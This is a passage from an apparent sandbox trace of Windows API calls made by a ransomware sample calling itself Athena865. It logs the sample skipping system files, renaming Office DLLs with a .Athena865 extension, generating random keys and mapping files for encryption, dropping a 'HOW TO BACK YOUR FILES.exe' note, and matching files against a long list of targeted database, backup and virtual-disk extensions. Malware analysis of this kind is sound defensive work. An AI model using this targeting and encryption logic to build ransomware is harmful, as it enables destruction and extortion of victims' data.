ftLastWriteTime.dwLowDateTime=0x337e5b00, ftLastWriteTime.dwHighDateTime=0x1caca25, nFileSizeHigh=0x0, nFileSizeLow=0x8f770, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="RTFHTML.DLL", cAlternateFileName="")) returned 1 [0084.554] lstrcmpiW (lpString1="RTFHTML.DLL", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0084.554] lstrcmpiW (lpString1="RTFHTML.DLL", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0084.554] lstrcmpiW (lpString1="RTFHTML.DLL", lpString2=".") returned 1 [0084.554] lstrcmpiW (lpString1="RTFHTML.DLL", lpString2="..") returned 1 [0084.554] lstrcmpiW (lpString1="RTFHTML.DLL", lpString2="windows") returned -1 [0084.554] lstrcmpiW (lpString1="RTFHTML.DLL", lpString2="bootmgr") returned 1 [0084.554] lstrcmpiW (lpString1="RTFHTML.DLL", lpString2="temp") returned -1 [0084.554] lstrcmpiW (lpString1="RTFHTML.DLL", lpString2="pagefile.sys") returned 1 [0084.554] lstrcmpiW (lpString1="RTFHTML.DLL", lpString2="boot") returned 1 [0084.554] lstrcmpiW (lpString1="RTFHTML.DLL", lpString2="ids.txt") returned 1 [0084.555] lstrcmpiW (lpString1="RTFHTML.DLL", lpString2="ntuser.dat") returned 1 [0084.555] lstrcmpiW (lpString1="RTFHTML.DLL", lpString2="perflogs") returned 1 [0084.555] lstrcmpiW (lpString1="RTFHTML.DLL", lpString2="MSBuild") returned 1 [0084.555] lstrlenW (lpString="RTFHTML.DLL") returned 11 [0084.555] lstrcpyW (in: lpString1=0x241e89e, lpString2="RTFHTML.DLL" | out: lpString1="RTFHTML.DLL") returned="RTFHTML.DLL" [0084.555] lstrlenW (lpString="RTFHTML.DLL") returned 11 [0084.555] lstrlenW (lpString="Athena865") returned 9 [0084.555] lstrcmpiW (lpString1="FHTML.DLL", lpString2="Athena865") returned 1 [0084.555] lstrlenW (lpString=".dll") returned 4 [0084.555] lstrcmpiW (lpString1="RTFHTML.DLL", lpString2=".dll") returned 1 [0084.555] lstrlenW (lpString=".lnk") returned 4 [0084.555] lstrcmpiW (lpString1="RTFHTML.DLL", lpString2=".lnk") returned 1 [0084.555] lstrlenW (lpString=".ini") returned 4 [0084.555] lstrcmpiW (lpString1="RTFHTML.DLL", lpString2=".ini") returned 1 [0084.555] lstrlenW (lpString=".sys") returned 4 [0084.555] lstrcmpiW (lpString1="RTFHTML.DLL", lpString2=".sys") returned 1 [0084.555] lstrlenW (lpString="RTFHTML.DLL") returned 11 [0084.555] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\RTFHTML.DLL.Athena865") returned 64 [0084.555] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\RTFHTML.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\rtfhtml.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\RTFHTML.DLL.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\rtfhtml.dll.athena865"), dwFlags=0x1) returned 1 [0084.557] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\RTFHTML.DLL.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\rtfhtml.dll.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0084.557] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=587632) returned 1 [0084.557] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0084.557] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x5391d0 [0084.557] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519008 [0084.557] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x518f80) returned 1 [0084.558] CryptGenRandom (in: hProv=0x518f80, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0084.558] CryptReleaseContext (hProv=0x518f80, dwFlags=0x0) returned 1 [0084.558] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x8fa70, lpName=0x0) returned 0x154 [0084.559] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x8fa70) returned 0x2d50000 [0084.578] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x518f80) returned 1 [0084.579] CryptGenRandom (in: hProv=0x518f80, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0084.579] CryptReleaseContext (hProv=0x518f80, dwFlags=0x0) returned 1 [0084.579] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x539248 [0084.579] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x539248 | out: hHeap=0x4f0000) returned 1 [0084.579] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52ba90 [0084.579] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0084.579] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0084.579] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0084.579] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52ba90 [0084.580] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0084.580] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0084.580] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0084.580] UnmapViewOfFile (lpBaseAddress=0x2d50000) returned 1 [0084.585] CloseHandle (hObject=0x154) returned 1 [0084.585] CloseHandle (hObject=0x17c) returned 1 [0084.585] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5391d0 | out: hHeap=0x4f0000) returned 1 [0084.585] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519008 | out: hHeap=0x4f0000) returned 1 [0084.585] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0084.588] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe412d900, ftCreationTime.dwHighDateTime=0x1ca911d, ftLastAccessTime.dwLowDateTime=0x6d24dcb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe412d900, ftLastWriteTime.dwHighDateTime=0x1ca911d, nFileSizeHigh=0x0, nFileSizeLow=0x49580, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="SAEXT.DLL", cAlternateFileName="")) returned 1 [0084.588] lstrcmpiW (lpString1="SAEXT.DLL", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0084.588] lstrcmpiW (lpString1="SAEXT.DLL", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0084.588] lstrcmpiW (lpString1="SAEXT.DLL", lpString2=".") returned 1 [0084.588] lstrcmpiW (lpString1="SAEXT.DLL", lpString2="..") returned 1 [0084.588] lstrcmpiW (lpString1="SAEXT.DLL", lpString2="windows") returned -1 [0084.588] lstrcmpiW (lpString1="SAEXT.DLL", lpString2="bootmgr") returned 1 [0084.588] lstrcmpiW (lpString1="SAEXT.DLL", lpString2="temp") returned -1 [0084.588] lstrcmpiW (lpString1="SAEXT.DLL", lpString2="pagefile.sys") returned 1 [0084.588] lstrcmpiW (lpString1="SAEXT.DLL", lpString2="boot") returned 1 [0084.588] lstrcmpiW (lpString1="SAEXT.DLL", lpString2="ids.txt") returned 1 [0084.588] lstrcmpiW (lpString1="SAEXT.DLL", lpString2="ntuser.dat") returned 1 [0084.588] lstrcmpiW (lpString1="SAEXT.DLL", lpString2="perflogs") returned 1 [0084.588] lstrcmpiW (lpString1="SAEXT.DLL", lpString2="MSBuild") returned 1 [0084.588] lstrlenW (lpString="SAEXT.DLL") returned 9 [0084.588] lstrcpyW (in: lpString1=0x241e89e, lpString2="SAEXT.DLL" | out: lpString1="SAEXT.DLL") returned="SAEXT.DLL" [0084.588] lstrlenW (lpString="SAEXT.DLL") returned 9 [0084.588] lstrlenW (lpString="Athena865") returned 9 [0084.588] lstrlenW (lpString=".dll") returned 4 [0084.588] lstrcmpiW (lpString1="SAEXT.DLL", lpString2=".dll") returned 1 [0084.588] lstrlenW (lpString=".lnk") returned 4 [0084.588] lstrcmpiW (lpString1="SAEXT.DLL", lpString2=".lnk") returned 1 [0084.588] lstrlenW (lpString=".ini") returned 4 [0084.588] lstrcmpiW (lpString1="SAEXT.DLL", lpString2=".ini") returned 1 [0084.588] lstrlenW (lpString=".sys") returned 4 [0084.588] lstrcmpiW (lpString1="SAEXT.DLL", lpString2=".sys") returned 1 [0084.588] lstrlenW (lpString="SAEXT.DLL") returned 9 [0084.588] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\SAEXT.DLL.Athena865") returned 62 [0084.589] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\SAEXT.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\saext.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\SAEXT.DLL.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\saext.dll.athena865"), dwFlags=0x1) returned 1 [0084.590] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\SAEXT.DLL.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\saext.dll.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0084.590] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=300416) returned 1 [0084.590] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0084.590] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x5391d0 [0084.590] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519008 [0084.591] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x518f80) returned 1 [0084.591] CryptGenRandom (in: hProv=0x518f80, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0084.591] CryptReleaseContext (hProv=0x518f80, dwFlags=0x0) returned 1 [0084.591] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x49880, lpName=0x0) returned 0x154 [0084.593] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x49880) returned 0x2d50000 [0084.603] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x518f80) returned 1 [0084.604] CryptGenRandom (in: hProv=0x518f80, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0084.604] CryptReleaseContext (hProv=0x518f80, dwFlags=0x0) returned 1 [0084.604] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x539248 [0084.604] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x539248 | out: hHeap=0x4f0000) returned 1 [0084.604] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52ba90 [0084.604] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0084.604] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0084.604] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0084.604] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52ba90 [0084.605] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0084.605] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0084.605] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0084.605] UnmapViewOfFile (lpBaseAddress=0x2d50000) returned 1 [0084.607] CloseHandle (hObject=0x154) returned 1 [0084.607] CloseHandle (hObject=0x17c) returned 1 [0084.608] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5391d0 | out: hHeap=0x4f0000) returned 1 [0084.608] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519008 | out: hHeap=0x4f0000) returned 1 [0084.608] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0084.609] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa671530, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa671530, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfa671530, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="SAMPLES", cAlternateFileName="")) returned 1 [0084.609] lstrcmpiW (lpString1="SAMPLES", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0084.609] lstrcmpiW (lpString1="SAMPLES", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0084.609] lstrcmpiW (lpString1="SAMPLES", lpString2=".") returned 1 [0084.609] lstrcmpiW (lpString1="SAMPLES", lpString2="..") returned 1 [0084.609] lstrcmpiW (lpString1="SAMPLES", lpString2="windows") returned -1 [0084.609] lstrcmpiW (lpString1="SAMPLES", lpString2="bootmgr") returned 1 [0084.609] lstrcmpiW (lpString1="SAMPLES", lpString2="temp") returned -1 [0084.609] lstrcmpiW (lpString1="SAMPLES", lpString2="pagefile.sys") returned 1 [0084.609] lstrcmpiW (lpString1="SAMPLES", lpString2="boot") returned 1 [0084.609] lstrcmpiW (lpString1="SAMPLES", lpString2="ids.txt") returned 1 [0084.609] lstrcmpiW (lpString1="SAMPLES", lpString2="ntuser.dat") returned 1 [0084.609] lstrcmpiW (lpString1="SAMPLES", lpString2="perflogs") returned 1 [0084.609] lstrcmpiW (lpString1="SAMPLES", lpString2="MSBuild") returned 1 [0084.609] lstrlenW (lpString="SAMPLES") returned 7 [0084.609] lstrcpyW (in: lpString1=0x241e89e, lpString2="SAMPLES" | out: lpString1="SAMPLES") returned="SAMPLES" [0084.609] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x52b798 [0084.610] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x66) returned 0x53a3b0 [0084.610] lstrcatW (in: lpString1="SAMPLES", lpString2="\\" | out: lpString1="SAMPLES\\") returned="SAMPLES\\" [0084.610] lstrcatW (in: lpString1="SAMPLES\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="SAMPLES\\HOW TO BACK YOUR FILES.exe") returned="SAMPLES\\HOW TO BACK YOUR FILES.exe" [0084.610] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\SAMPLES\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\microsoft office\\office14\\samples\\how to back your files.exe"), bFailIfExists=1) returned 1 [0084.613] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x11ca6e00, ftCreationTime.dwHighDateTime=0x1cb701e, ftLastAccessTime.dwLowDateTime=0xd6629a20, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x11ca6e00, ftLastWriteTime.dwHighDateTime=0x1cb701e, nFileSizeHigh=0x0, nFileSizeLow=0x8f968, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="SAVASWEB.DLL", cAlternateFileName="")) returned 1 [0084.613] lstrcmpiW (lpString1="SAVASWEB.DLL", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0084.613] lstrcmpiW (lpString1="SAVASWEB.DLL", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0084.613] lstrcmpiW (lpString1="SAVASWEB.DLL", lpString2=".") returned 1 [0084.613] lstrcmpiW (lpString1="SAVASWEB.DLL", lpString2="..") returned 1 [0084.613] lstrcmpiW (lpString1="SAVASWEB.DLL", lpString2="windows") returned -1 [0084.613] lstrcmpiW (lpString1="SAVASWEB.DLL", lpString2="bootmgr") returned 1 [0084.613] lstrcmpiW (lpString1="SAVASWEB.DLL", lpString2="temp") returned -1 [0084.613] lstrcmpiW (lpString1="SAVASWEB.DLL", lpString2="pagefile.sys") returned 1 [0084.613] lstrcmpiW (lpString1="SAVASWEB.DLL", lpString2="boot") returned 1 [0084.613] lstrcmpiW (lpString1="SAVASWEB.DLL", lpString2="ids.txt") returned 1 [0084.613] lstrcmpiW (lpString1="SAVASWEB.DLL", lpString2="ntuser.dat") returned 1 [0084.613] lstrcmpiW (lpString1="SAVASWEB.DLL", lpString2="perflogs") returned 1 [0084.613] lstrcmpiW (lpString1="SAVASWEB.DLL", lpString2="MSBuild") returned 1 [0084.613] lstrlenW (lpString="SAVASWEB.DLL") returned 12 [0084.613] lstrcpyW (in: lpString1=0x241e89e, lpString2="SAVASWEB.DLL" | out: lpString1="SAVASWEB.DLL") returned="SAVASWEB.DLL" [0084.613] lstrlenW (lpString="SAVASWEB.DLL") returned 12 [0084.613] lstrlenW (lpString="Athena865") returned 9 [0084.613] lstrcmpiW (lpString1="ASWEB.DLL", lpString2="Athena865") returned -1 [0084.613] lstrlenW (lpString=".dll") returned 4 [0084.613] lstrcmpiW (lpString1="SAVASWEB.DLL", lpString2=".dll") returned 1 [0084.613] lstrlenW (lpString=".lnk") returned 4 [0084.613] lstrcmpiW (lpString1="SAVASWEB.DLL", lpString2=".lnk") returned 1 [0084.613] lstrlenW (lpString=".ini") returned 4 [0084.613] lstrcmpiW (lpString1="SAVASWEB.DLL", lpString2=".ini") returned 1 [0084.613] lstrlenW (lpString=".sys") returned 4 [0084.613] lstrcmpiW (lpString1="SAVASWEB.DLL", lpString2=".sys") returned 1 [0084.613] lstrlenW (lpString="SAVASWEB.DLL") returned 12 [0084.613] lstrlenW (lpString="bak") returned 3 [0084.613] lstrcmpiW (lpString1="DLL", lpString2="bak") returned 1 [0084.614] lstrlenW (lpString="ba_") returned 3 [0084.614] lstrcmpiW (lpString1="DLL", lpString2="ba_") returned 1 [0084.614] lstrlenW (lpString="dbb") returned 3 [0084.614] lstrcmpiW (lpString1="DLL", lpString2="dbb") returned 1 [0084.614] lstrlenW (lpString="vmdk") returned 4 [0084.614] lstrcmpiW (lpString1=".DLL", lpString2="vmdk") returned -1 [0084.614] lstrlenW (lpString="rar") returned 3 [0084.614] lstrcmpiW (lpString1="DLL", lpString2="rar") returned -1 [0084.614] lstrlenW (lpString="zip") returned 3 [0084.614] lstrcmpiW (lpString1="DLL", lpString2="zip") returned -1 [0084.614] lstrlenW (lpString="tgz") returned 3 [0084.614] lstrcmpiW (lpString1="DLL", lpString2="tgz") returned -1 [0084.614] lstrlenW (lpString="vbox") returned 4 [0084.614] lstrcmpiW (lpString1=".DLL", lpString2="vbox") returned -1 [0084.614] lstrlenW (lpString="vdi") returned 3 [0084.614] lstrcmpiW (lpString1="DLL", lpString2="vdi") returned -1 [0084.614] lstrlenW (lpString="vhd") returned 3 [0084.614] lstrcmpiW (lpString1="DLL", lpString2="vhd") returned -1 [0084.614] lstrlenW (lpString="vhdx") returned 4 [0084.614] lstrcmpiW (lpString1=".DLL", lpString2="vhdx") returned -1 [0084.614] lstrlenW (lpString="avhd") returned 4 [0084.614] lstrcmpiW (lpString1=".DLL", lpString2="avhd") returned -1 [0084.614] lstrlenW (lpString="db") returned 2 [0084.614] lstrcmpiW (lpString1="LL", lpString2="db") returned 1 [0084.614] lstrlenW (lpString="db2") returned 3 [0084.614] lstrcmpiW (lpString1="DLL", lpString2="db2") returned 1 [0084.614] lstrlenW (lpString="db3") returned 3 [0084.614] lstrcmpiW (lpString1="DLL", lpString2="db3") returned 1 [0084.614] lstrlenW (lpString="dbf") returned 3 [0084.614] lstrcmpiW (lpString1="DLL", lpString2="dbf") returned 1 [0084.614] lstrlenW (lpString="mdf") returned 3 [0084.614] lstrcmpiW (lpString1="DLL", lpString2="mdf") returned -1 [0084.615] lstrlenW (lpString="mdb") returned 3 [0084.615] lstrcmpiW (lpString1="DLL", lpString2="mdb") returned -1 [0084.615] lstrlenW (lpString="sql") returned 3 [0084.615] lstrcmpiW (lpString1="DLL", lpString2="sql") returned -1 [0084.615] lstrlenW (lpString="sqlite") returned 6 [0084.615] lstrcmpiW (lpString1="EB.DLL", lpString2="sqlite") returned -1 [0084.615] lstrlenW (lpString="sqlite3") returned 7 [0084.615] lstrcmpiW (lpString1="WEB.DLL", lpString2="sqlite3") returned 1 [0084.615] lstrlenW (lpString="sqlitedb") returned 8 [0084.615] lstrcmpiW (lpString1="SWEB.DLL", lpString2="sqlitedb") returned 1 [0084.615] lstrlenW (lpString="xml") returned 3 [0084.615] lstrcmpiW (lpString1="DLL", lpString2="xml") returned -1 [0084.615] lstrlenW (lpString="$er") returned 3 [0084.615] lstrcmpiW (lpString1="DLL", lpString2="$er") returned 1 [0084.615] lstrlenW (lpString="4dd") returned 3 [0084.615] lstrcmpiW (lpString1="DLL", lpString2="4dd") returned 1 [0084.615] lstrlenW (lpString="4dl") returned 3 [0084.615] lstrcmpiW (lpString1="DLL", lpString2="4dl") returned 1 [0084.615] lstrlenW (lpString="^^^") returned 3 [0084.615] lstrcmpiW (lpString1="DLL", lpString2="^^^") returned 1 [0084.615] lstrlenW (lpString="abs") returned 3 [0084.615] lstrcmpiW (lpString1="DLL", lpString2="abs") returned 1 [0084.615] lstrlenW (lpString="abx") returned 3 [0084.615] lstrcmpiW (lpString1="DLL", lpString2="abx") returned 1 [0084.615] lstrlenW (lpString="accdb") returned 5 [0084.615] lstrcmpiW (lpString1="B.DLL", lpString2="accdb") returned 1 [0084.615] lstrlenW (lpString="accdc") returned 5 [0084.615] lstrcmpiW (lpString1="B.DLL", lpString2="accdc") returned 1 [0084.615] lstrlenW (lpString="accde") returned 5 [0084.615] lstrcmpiW (lpString1="B.DLL", lpString2="accde") returned 1 [0084.615] lstrlenW (lpString="accdr") returned 5 [0084.615] lstrcmpiW (lpString1="B.DLL", lpString2="accdr") returned 1 [0084.615] lstrlenW (lpString="accdt") returned 5 [0084.616] lstrcmpiW (lpString1="B.DLL", lpString2="accdt") returned 1 [0084.616] lstrlenW (lpString="accdw") returned 5 [0084.616] lstrcmpiW (lpString1="B.DLL", lpString2="accdw") returned 1 [0084.616] lstrlenW (lpString="accft") returned 5 [0084.616] lstrcmpiW (lpString1="B.DLL", lpString2="accft") returned 1 [0084.616] lstrlenW (lpString="adb") returned 3 [0084.616] lstrcmpiW (lpString1="DLL", lpString2="adb") returned 1 [0084.616] lstrlenW (lpString="adb") returned 3 [0084.616] lstrcmpiW (lpString1="DLL", lpString2="adb") returned 1 [0084.616] lstrlenW (lpString="ade") returned 3 [0084.616] lstrcmpiW (lpString1="DLL", lpString2="ade") returned 1 [0084.616] lstrlenW (lpString="adf") returned 3 [0084.616] lstrcmpiW (lpString1="DLL", lpString2="adf") returned 1 [0084.616] lstrlenW (lpString="adn") returned 3 [0084.616] lstrcmpiW (lpString1="DLL", lpString2="adn") returned 1 [0084.616] lstrlenW (lpString="adp") returned 3 [0084.616] lstrcmpiW (lpString1="DLL", lpString2="adp") returned 1 [0084.616] lstrlenW (lpString="alf") returned 3 [0084.616] lstrcmpiW (lpString1="DLL", lpString2="alf") returned 1 [0084.616] lstrlenW (lpString="ask") returned 3 [0084.616] lstrcmpiW (lpString1="DLL", lpString2="ask") returned 1 [0084.616] lstrlenW (lpString="btr") returned 3 [0084.616] lstrcmpiW (lpString1="DLL", lpString2="btr") returned 1 [0084.616] lstrlenW (lpString="cat") returned 3 [0084.616] lstrcmpiW (lpString1="DLL", lpString2="cat") returned 1 [0084.616] lstrlenW (lpString="cdb") returned 3 [0084.616] lstrcmpiW (lpString1="DLL", lpString2="cdb") returned 1 [0084.616] lstrlenW (lpString="ckp") returned 3 [0084.616] lstrcmpiW (lpString1="DLL", lpString2="ckp") returned 1 [0084.616] lstrlenW (lpString="cma") returned 3 [0084.616] lstrcmpiW (lpString1="DLL", lpString2="cma") returned 1 [0084.616] lstrlenW (lpString="cpd") returned 3 [0084.617] lstrcmpiW (lpString1="DLL", lpString2="cpd") returned 1 [0084.617] lstrlenW (lpString="dacpac") returned 6 [0084.617] lstrcmpiW (lpString1="EB.DLL", lpString2="dacpac") returned 1 [0084.617] lstrlenW (lpString="dad") returned 3 [0084.617] lstrcmpiW (lpString1="DLL", lpString2="dad") returned 1 [0084.617] lstrlenW (lpString="dadiagrams") returned 10 [0084.617] lstrcmpiW (lpString1="VASWEB.DLL", lpString2="dadiagrams") returned 1 [0084.617] lstrlenW (lpString="daschema") returned 8 [0084.617] lstrcmpiW (lpString1="SWEB.DLL", lpString2="daschema") returned 1 [0084.617] lstrlenW (lpString="db-journal") returned 10 [0084.617] lstrcmpiW (lpString1="VASWEB.DLL", lpString2="db-journal") returned 1 [0084.617] lstrlenW (lpString="db-shm") returned 6 [0084.617] lstrcmpiW (lpString1="EB.DLL", lpString2="db-shm") returned 1 [0084.617] lstrlenW (lpString="db-wal") returned 6 [0084.617] lstrcmpiW (lpString1="EB.DLL", lpString2="db-wal") returned 1 [0084.617] lstrlenW (lpString="dbc") returned 3 [0084.617] lstrcmpiW (lpString1="DLL", lpString2="dbc") returned 1 [0084.617] lstrlenW (lpString="dbs") returned 3 [0084.617] lstrcmpiW (lpString1="DLL", lpString2="dbs") returned 1 [0084.617] lstrlenW (lpString="dbt") returned 3 [0084.617] lstrcmpiW (lpString1="DLL", lpString2="dbt") returned 1 [0084.617] lstrlenW (lpString="dbv") returned 3 [0084.617] lstrcmpiW (lpString1="DLL", lpString2="dbv") returned 1 [0084.617] lstrlenW (lpString="dbx") returned 3 [0084.617] lstrcmpiW (lpString1="DLL", lpString2="dbx") returned 1 [0084.617] lstrlenW (lpString="dcb") returned 3 [0084.617] lstrcmpiW (lpString1="DLL", lpString2="dcb") returned 1 [0084.617] lstrlenW (lpString="dct") returned 3 [0084.617] lstrcmpiW (lpString1="DLL", lpString2="dct") returned 1 [0084.617] lstrlenW (lpString="dcx") returned 3 [0084.617] lstrcmpiW (lpString1="DLL", lpString2="dcx") returned 1 [0084.617] lstrlenW (lpString="ddl") returned 3 [0084.617] lstrcmpiW (lpString1="DLL", lpString2="ddl") returned 1 [0084.618] lstrlenW (lpString="dlis") returned 4 [0084.618] lstrcmpiW (lpString1=".DLL", lpString2="dlis") returned -1 [0084.618] lstrlenW (lpString="dp1") returned 3 [0084.618] lstrcmpiW (lpString1="DLL", lpString2="dp1") returned -1 [0084.618] lstrlenW (lpString="dqy") returned 3 [0084.618] lstrcmpiW (lpString1="DLL", lpString2="dqy") returned -1 [0084.618] lstrlenW (lpString="dsk") returned 3 [0084.618] lstrcmpiW (lpString1="DLL", lpString2="dsk") returned -1 [0084.618] lstrlenW (lpString="dsn") returned 3 [0084.618] lstrcmpiW (lpString1="DLL", lpString2="dsn") returned -1 [0084.618] lstrlenW (lpString="dtsx") returned 4 [0084.618] lstrcmpiW (lpString1=".DLL", lpString2="dtsx") returned -1 [0084.618] lstrlenW (lpString="dxl") returned 3 [0084.618] lstrcmpiW (lpString1="DLL", lpString2="dxl") returned -1 [0084.618] lstrlenW (lpString="eco") returned 3 [0084.618] lstrcmpiW (lpString1="DLL", lpString2="eco") returned -1 [0084.618] lstrlenW (lpString="ecx") returned 3 [0084.618] lstrcmpiW (lpString1="DLL", lpString2="ecx") returned -1 [0084.618] lstrlenW (lpString="edb") returned 3 [0084.618] 